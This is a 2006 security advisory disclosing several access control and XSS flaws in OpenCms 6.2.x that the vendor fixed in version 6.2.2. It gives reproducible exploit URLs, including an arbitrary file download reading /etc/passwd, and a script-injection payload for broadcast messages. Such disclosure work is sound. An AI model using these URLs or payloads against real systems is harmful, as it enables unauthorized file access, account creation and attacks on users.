Multiple access control and input validation vulnerabilities in ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ OpenCMS (Open Source Website Content Management System) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 0. ORIGINAL ADVISORY ~~~~~~~~~~~~~~~~~~~~ http://o0o.nu/~meder/OpenCMS_multiple_vulnerabilities.txt I. BACKGROUND ~~~~~~~~~~~~~ OpenCms is a professional level Open Source Website Content Management System. OpenCms helps to create and manage complex websites easily without knowledge of html. OpenCms is based on Java and XML technology. [1] II. DESCRIPTION ~~~~~~~~~~~~~~~ OpenCms versions 6.2.1, 6.2, 6.0.3, 6.0.4 (possibly older versions too) are vulnerable to multiple access control and input validation vulnerabilities, which allow authenticated users to perform the following unauthrozied actions: * View and download application's log file; * Download arbitrary files from the system; * View sources of JSP files (provided they are locked by some other user); * Add webusers; * Upload new OpenCms modules; * Overwrite existing OpenCms modules; * Upload database import/export files; * Overwrite existing database import/export files; * Send broadcast messages to all users; * Send JavaScript to any user (XSS); * Obtain list of all users and groups Most of the access control vulnerabilities mentioned above can be exploited by accessing the URL that provides the functionality, while logged in as unprivileged user(member of Users group). The following URLs (wrapped) can be used to reproduce the vulnerabilities on OpenCms v.6.2: * View and download application's log file: http://[target]/opencms/opencms/system/workplace/views/admin/admin-main. jsp? path=%2Fworkplace%2Flogfileview * Download arbitrary files from the system: http://[target]/opencms/opencms/system/workplace/admin/workplace/logfile view/ downloadTrigger.jsp?filePath=/etc/passwd * View sources of JSP files (JSP file must be locked by any other user): http://[target]/opencms/opencms/system/workplace/editors/editor.jsp? resource=/index.jsp * Add webusers: http://[target]/opencms/opencms/system/workplace/views/admin/admin-main. jsp? path=%2Faccounts%2Fwebusers/new * Upload new OpenCms modules (by uploading the file with the name of existing module, it will be overwritten): http://[target]/opencms/opencms/system/workplace/views/admin/admin-main. jsp? path=%2Fmodules%2Fmodules_import * Upload database import/export files (by uploading the file with the name of existing import/export file, it will be overwritten): http://[target]/opencms/opencms/system/workplace/views/admin/admin-main. jsp? path=%2Fdatabase%2Fimporthttp * Send broadcast messages to all users: http://[target]/opencms/opencms/system/workplace/views/admin/admin-main. jsp? path=%2Fworkplace%2Fbroadcast * Send arbitrary JavaScript to any user. Input the following JavaScript as message body to be executed in browser of user(s) message is destined to (XSS): </script> <script>a=/XSS BUG/; alert(a.source)</script> * Obtain list of all users: http://[target]/opencms/opencms/system/workplace/views/admin/admin-main. jsp? path=%2Faccounts/users Vulnerabilities outlined above may lead to server compromise, loss of confidentiality and integrity of data stored on the server. III. VENDOR STATUS ~~~~~~~~~~~~~~~~~~ Version 6.2.2 has been released to address discovered vulnerabilities. New version is available at: http://www.opencms.org/opencms/en/download/opencms.html IV. DISCLOSURE TIMELINE ~~~~~~~~~~~~~~~~~~~~~~~ 13/07/2006 - Bugreport describing the vulnerabilities submitted 18/07/2006 - Initial vendor response acknowledging issues 20/07/2006 - Fixes commited to CVS 21/07/2006 - New version(6.2.2) of OpenCMS addressing the issues released V. ACKNOWLEDGEMENTS ~~~~~~~~~~~~~~~~~~~ Alexander Kandzior and Andreas Zahner for timely response and resolution of issues. VI. REFERENCES ~~~~~~~~~~~~~~ 1. OpenCms (Open Source Website Content Management System) homepage, http://www.opencms.org/ 2. XSS Cheat sheet, http://ha.ckers.org/xss.html 3. WebScarab, http://www.owasp.org/software/webscarab.html -- http://o0o.nu/~meder